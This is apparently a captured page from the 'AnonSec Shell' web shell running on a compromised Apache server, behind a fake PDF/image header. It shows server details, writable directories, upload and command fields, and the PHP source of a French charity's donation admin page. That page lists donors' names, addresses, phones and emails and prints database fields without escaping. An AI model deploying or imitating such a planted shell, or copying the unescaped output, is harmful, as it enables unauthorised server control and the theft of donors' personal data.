%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/admin_dons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/admin_dons/index3.php
<?php
header('Content-Type: text/html; charset=utf-8');
require_once($_SERVER["DOCUMENT_ROOT"].'/Connections/french.php'); 
include($_SERVER["DOCUMENT_ROOT"].'/dons.class.php');
//echo $_SERVER["DOCUMENT_ROOT"];
if(empty($_GET['limit'])) $_GET['limit']=0;
$num_affiche=20;

function convertToUtf8()
{
	$args=func_get_args();
	//return $args[0];
	if(is_array($args[0]) || is_object($args[0]))
	{
		$array = $args[0];
		$convertedArray = array();
		foreach($array as $key => $value) {
			$key = convertToUtf8($key);
			$value = convertToUtf8($value);
			$convertedArray[$key] = $value;
		}
		if((is_object($args[0]))) return (object) $convertedArray; 
		else return $convertedArray;
	}
	else
	{
		if(!mb_check_encoding($args[0], 'UTF-8')) return utf8_encode($args[0]);
		return $args[0];
	}
}

$lesDons = new dons;
$nb_dons=$lesDons->get_nb_dons();
$dons=$lesDons->get_all($_GET['limit'],$num_affiche);
?>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/datatables.net-dt/css/jquery.dataTables.min.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/datatables.net/js/jquery.dataTables.min.js"></script>

<style>
  .status-ok {
    background-color: #e8f5e9 !important; /* vert pâle */
  }
  .status-ko {
    background-color: #fdecea !important; /* rouge pâle */
  }
</style>




<div class="container-lg my-4">
  <div class="text-center mb-4">
    <img src="/wp-content/uploads/2018/05/logomp-png.png" alt="Logo" class="logo mb-2"><br>
    <h3 class="fw-bold">Gestion des Dons</h3>
  </div>

  <div class="d-flex flex-wrap justify-content-between align-items-center gap-2 mb-4">
    <span class="badge bg-success px-3 py-2">Montant - OK</span>
    <span class="badge bg-danger px-3 py-2">Montant - KO</span>
    <a class="btn btn-primary btn-sm" href="export_mail.php" target="_blank">📤 Exporter les emails</a>

    <!-- Filtres -->
    <div class="d-flex flex-wrap gap-2 mt-2">
      <input type="text" id="searchNom" class="form-control form-control-sm" placeholder="Recherche nom">
      <select id="searchType" class="form-select form-select-sm">
        <option value="">Type de don</option>
        <option value="gala">Gala</option>
        <option value="mensuel">Mensuel</option>
        <option value="ponctuel">Ponctuel</option>
      </select>
      <select id="searchStatut" class="form-select form-select-sm">
        <option value="">Statut</option>
        <option value="OK">OK</option>
        <option value="KO">KO</option>
      </select>
      <input type="month" id="searchDate" class="form-control form-control-sm">
    </div>
  </div>

 <table id="tableDons" class="table table-hover table-sm w-100">
  <thead class="table-primary text-center">
    <tr>
      <th>ID</th>
      <th>Date</th>
      <th>Nom</th>
      <th>Adresse</th>
      <th>Contact</th>
      <th>Type / Montant</th>
      <th>Détails</th>
      <th>Autre Adresse</th>
      <th>CERFA</th>
      <th style="display:none;">Recherche</th> <!-- pour nom + adresse + tel + mail -->
      <th style="display:none;">Timestamp</th> <!-- pour le tri -->
    </tr>
  </thead>
  <tbody>
<?php foreach($dons as $don): ?>
  <?php
    $isValid = ($don->valide == 1);
    $rowClass = $isValid ? 'status-ok' : 'status-ko';
    $statutTexte = $isValid ? 'OK' : 'KO';
    list($date, $heure) = explode(' ', $don->date_creation);
    list($a, $m, $j) = explode('-', $date);
    $formattedDate = "$j/$m/$a $heure";
    $timestamp = strtotime($don->date_creation);
    $searchContent = strtolower(
      convertToUtf8($don->nom . ' ' . $don->prenom . ' ' .
      $don->adresse . ' ' . $don->ville . ' ' . $don->tel . ' ' .
      $don->portable . ' ' . $don->email)
    );
  ?>
  <tr class="<?= $rowClass ?>"
      data-statut="<?= $statutTexte ?>"
      data-date="<?= date('Y-m', $timestamp) ?>">
    <td><?= convertToUtf8($don->id_dons) ?></td>
    <td><?= $formattedDate ?></td>
    <td><?= convertToUtf8($don->titre) ?> <?= convertToUtf8($don->nom) ?> <?= convertToUtf8($don->prenom) ?></td>
    <td>
      <?= convertToUtf8($don->adresse) ?><br>
      <?= convertToUtf8($don->cp) ?> <?= convertToUtf8($don->ville) ?><br>
      <?= convertToUtf8($don->pays) ?>
    </td>
    <td>
      📞 <?= convertToUtf8($don->tel) ?><br>
      📱 <?= convertToUtf8($don->portable) ?><br>
      ✉️ <?= convertToUtf8($don->email) ?><br>
      <b>Commentaire:</b> <?= nl2br(convertToUtf8($don->commentaire)) ?>
    </td>
    <td>
      <?= convertToUtf8($don->type_don) ?><br>
      <strong class="text-danger"><?= convertToUtf8($don->montant) ?> €</strong><br>
      <?= convertToUtf8($don->occasion) ?>
    </td>
    <td>
      <?php if ($don->type_don == 'gala'): ?>
        <u>Billets:</u> <?= convertToUtf8($don->periodicite) ?>
      <?php else: ?>
        Date: <?= convertToUtf8($don->date) ?><br>
        Périodicité: <?= convertToUtf8($don->periodicite) ?><br>
        Durée: <?= convertToUtf8($don->duree) ?><br>
        Mois: <?= convertToUtf8($don->du_mois) ?>, Jour: <?= convertToUtf8($don->du_jour) ?>
      <?php endif; ?>
    </td>
    <td>
      <?= convertToUtf8($don->nom_autre) ?> <?= convertToUtf8($don->prenom_autre) ?><br>
      <?= convertToUtf8($don->adresse_autre) ?><br>
      <?= convertToUtf8($don->cp_autre) ?> <?= convertToUtf8($don->ville_autre) ?>
    </td>
    <td>
      <?php if ($don->cerfaUrl): ?>
        <a href="<?= $don->cerfaUrl ?>" target="_blank" class="btn btn-sm btn-outline-success">🧾 Voir</a>
      <?php endif; ?>
    </td>
    <td style="display:none;"><?= htmlspecialchars($searchContent) ?></td>
    <td style="display:none;"><?= $timestamp ?></td>
  </tr>
<?php endforeach; ?>
  </tbody>
</table>


</div>

<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"></script>
<script src="https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js"></script>
<script>
$(document).ready(function () {
  const table = $('#tableDons').DataTable({
    language: {
      url: "//cdn.datatables.net/plug-ins/1.13.6/i18n/fr-FR.json"
    },
    columnDefs: [
      { targets: [10, 11], visible: false }, // colonnes cachées pour recherche/tri
    ],
    order: [[11, 'desc']] // tri par timestamp
  });

  // Recherche combinée sur nom, adresse, tel, email
  $('#searchNom').on('keyup change', function () {
    table.column(10).search(this.value).draw();
  });

  // Filtre Type de don
  $('#searchType').on('change', function () {
    table.column(5).search(this.value).draw();
  });

  // Filtre Statut
  $('#searchStatut').on('change', function () {
    table.column(5).search(this.value).draw();
  });

  // Filtre Date par mois
  $('#searchDate').on('change', function () {
    const selectedDate = this.value;
    table.rows().every(function () {
      const tr = $(this.node());
      const rowDate = tr.data('date');
      tr.toggle(!selectedDate || rowDate === selectedDate);
    });
  });
});
</script>

Anon7 - 2022
AnonSec Team